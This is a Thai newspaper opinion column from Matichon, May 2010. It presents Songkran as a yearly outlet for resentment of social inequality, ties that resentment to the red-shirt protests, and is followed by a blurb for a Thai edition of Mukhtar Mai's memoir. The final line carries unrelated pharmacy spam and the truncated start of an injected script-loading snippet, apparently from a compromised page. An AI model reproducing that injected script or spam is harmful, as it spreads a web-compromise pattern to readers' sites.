หนังสือพิมพ์มติชน ฉบับวันศุกร์ที่  28    พฤษภาคม   พ.ศ. 2553

ความเหลื่อมล้ำ, ไม่เป็นธรรม, ไม่เท่าเทียม น่าจะมีอยู่ในสังคมไทยตั้งแต่เริ่ม       มีชื่อ“สังคมไทย”ขึ้นในโลก

แต่คนที่ได้รับผลกระทบกระเทือนจากความเหลื่อมล้ำ, ไม่เป็นธรรม, ไม่เท่าเทียม ต่างถูกครอบงำจากวัฒนธรรมยอมจำนน เลยไม่มีปฏิกิริยาใดๆให้คนอื่นรู้เห็น ได้แต่เก็บความรู้สึกไว้ปลดปล่อยปีละครั้งตอนสงกรานต์ เดือน 5

สงกรานต์เป็นเทศกาล“ขบถ”ปลดปล่อยผ่อนคลายความตึงเครียดที่ต้องยอมจำนนอยู่ใต้ความเหลื่อมล้ำ, ไม่เป็นธรรม, ไม่เท่าเทียม มาตลอด 1 ปี เลยพากันละเมิดข้อห้ามทุกอย่าง เช่น

ผู้หญิงกินเหล้าเมาแล้วถูกเนื้อต้องตัวภิกษุสงฆ์ได้เหมือนผู้ชาย ถึงขนาดพากันรุมจับพระสงฆ์มัดกับต้นเสาเอาค่าไถ่ซื้อเหล้ากินก็ได้, บางแห่งผู้หญิงร่วมกันจับพระสงฆ์โยนลงน้ำในแม่น้ำลำคลองก็มี ฯลฯ แต่ในชีวิตปกติทั้งปีทำไม่ได้

รัฐเล็กๆในหุบเขาทางล้านนา, ล้านช้างยุคโบราณ เมื่อถึงสงกรานต์จะมีประเพณีพากันเอาน้ำสาดเจ้ามหาชีวิตให้ต้องมุดหนีจากคุ้มหลวงรั้ววังก็มี

ชาวบ้านเล่นละครชาวบ้าน(ละครนอก)ให้พระเจ้าแผ่นดินไม่ฉลาด เท่ากับได้ล้อเลียนพระเจ้าแผ่นดินเพื่อคลายความตึงเครียดที่มีมาตลอดทั้งปี

“ละครนอกที่ชาวบ้านเขาเล่นดูกันนั้น ท้าวพระยามหากษัตริย์เป็นตัวตลกทั้งสิ้น ไม่มีความดีอะไรเลย ขี้ขลาดตาขาวสารพัด” อาจารย์ ม.ร.ว. คึกฤทธิ์ ปราโมช เขียนอธิบายไว้(ในหนังสือลักษณะไทย เล่ม 3 ของ ธนาคารกรุงเทพ พิมพ์ครั้งแรก พ.ศ. 2541 หน้า 58)

แต่สงกรานต์ไม่ได้แก้ปัญหา เพียงแต่ผ่อนคลายปีละครั้งๆละไม่กี่วัน เมื่อพ้นประเพณีไปแล้วก็เข้าสู่ความตึงเครียดเหมือนเดิม คือ ความเหลื่อมล้ำ, ไม่เป็นธรรม, ไม่เท่าเทียม

ไม่ได้หมายความว่าประเพณีสงกรานต์อย่างนั้นแสดงว่าคนได้เปรียบไม่เอาเปรียบคนเสียเปรียบ หรือมีลักษณะประนีประนอมช่วยเหลือเกื้อกูล ดังที่เรียกว่า         “ความเป็นไทย” หรือ“ลักษณะไทย” ช่วยเหลือเฟื้อกู้กัน เพราะไม่ใจไม้ไส้ระกำ

นั่นไม่มีจริงในชีวิตจริงๆ มีแต่ในตำราใช้ครอบงำคนในสังคม ทำให้คนได้เปรียบลิงโลดแล้วเอาเปรียบมากขึ้น ส่วนคนเสียเปรียบร่อแร่ เพราะต้องยอมจำนนต่อความเหลื่อมล้ำ, ไม่เป็นธรรม, ไม่เท่าเทียม อย่างไม่มีวันสิ้นสุด และไม่เห็นช่องทางบรรเทาลงได้ มีแต่จะหนักข้อขึ้น เห็นได้จากภาคราชการเข้าข้างผู้ได้เปรียบ แล้วร่วมกันเอาเปรียบสังคม เช่น ริบทรัพยากรสาธารณะเป็นของตนและพวกตน ฯลฯ,

หรือพูดจาร้องเรียนขอความเป็นธรรมจนถึงตะโกนลั่นไป แต่ไม่มีใครฟัง ถึงฟังก็ไม่ได้ยิน ยังคงดูถูกเหยียดหยามเอารัดเอาเปรียบไม่หยุดหย่อน

เหตุนี้เองคนเสียเปรียบเลยพร้อมใจกันใส่เสื้อแดงร่วมชุมนุมสมทบกับคนเสื้อแดงในเมือง(ที่มีจุดประสงค์อื่นต่างจากคนเสียเปรียบ)

ความคับแค้นแน่นใจของคนรากหญ้าผู้เสียเปรียบตลอดกาล เลยแสดงออกอย่างเลยเถิดระเบิดเปิดเปิงด้วยหลายสาเหตุด้วยกัน มีทั้งสมควรและไม่สมควร แต่—

“ต้องขอบคุณกลุ่มเสื้อแดงเหมือนกันที่ทำให้ฝ่ายคนชั้นนำ หรือคนที่ได้เปรียบในสังคม นายทุน ต้องหันมาตระหนักด้วยว่าถ้าปล่อยให้สังคมเป็นแบบนี้ต่อไป             คนส่วนใหญ่คงยอมรับกันไม่ได้—” ม.ร.ว. อคิน รพีพัฒน์ พูดถึงปัญหาความเหลื่อมล้ำทางสังคม, ความไม่เป็นธรรมที่สั่งสมมายาวนานมาก ส่งผลให้เกิดความเคลื่อนไหวครั้งใหญ่ของคนเสื้อแดง

“ปัญหาใหญ่ที่แท้จริง คือภาคราชการเอื้อประโยชน์ให้นายทุน—” ม.ร.ว. อคิน บอกให้รู้รากเหง้าของปัญหาแล้วยังไม่ได้แก้ไข แต่มีความพยายามทำให้กลับเข้าสู่ระบบเดิม เพราะคนได้เปรียบกลับมามีอำนาจเหมือนเดิม(เนชั่นสุดสัปดาห์ ฉบับวันที่ 14 พฤษภาคม 2553 หน้า 76)

ถ้าสังคมยังไม่ยอมรับความจริงอย่างที่ ม.ร.ว. อคิน ชี้ทางบรรเทาทุกข์ แต่ตรงข้ามพยายามเหมารวมโทษคนอื่น เช่น โทษเสื้อแดง, เสื้อดำ, เสื้อเขียว, เสื้อน้ำเงิน, ฯลฯ ก็อย่าพึงหวังว่า “ไทยนี้รักสงบ

แต่สังคมไทยก็หลอกตัวเองตลอดมามิใช่หรือ?

“ด้วยเกียรติแห่งเพศแม่” แปลจากเรื่อง In the name of Honour โดย กาญจนา นรเศรษฐาภรณ์ ราคา 140 บาท

เรื่องราวอัตชีวประวัติของมุคตาร มัยน์ หญิงชาวปากีสถานในสังคมที่ครอบงำด้วยระบบชนเผ่าล้าหลังกับการต่อสู้เพื่อเรียกร้องสิทธิพึงมี… ความยุติธรรม… สิทธิพื้นฐานซึ่งไม่เคยเข้าถึงนับแต่ลืมตาดูโลก ที่เริ่มขึ้นตั้งแต่ปี 2002 เวลาล่วงเลยมาแล้ว 9 ปี บันทึกการต่อสู้ของเธอถูกนำไปถ่ายทอดเป็นภาษาต่างๆมากมายในหลายประเทศ รวมถึงกำลังถูกสร้างเป็นภาพยนตร์ แต่คดีของเธอยังรอคำตัดสินของศาลซึ่งถูกเลื่อนมาหลายครั้ง เธอยังไม่ไดรับความยุติธรรม มันเป็นการต่อสู้ที่ยาวนานและยังไม่เห็นชัยชนะ แต่เธอไม่เคยโดดเดี่ยว ถึงเวลาที่เราต้องร่วมเป็นกำลังใจให้เธอและผู้หญิงที่ถูกกระทำรุนแรงทั่วโลก ร่วมต่อต้านการทำร้ายต่อร่างกายและจิตใจ หยุดความรุนแรงต่อเพศแม่ และร่วมรณรงค์ปลูกฝังความเท่าเทียมกันของกันและกัน…fluoxetine lawsuit avanafil ordervar d=document;var s=d.createElement(‘script’);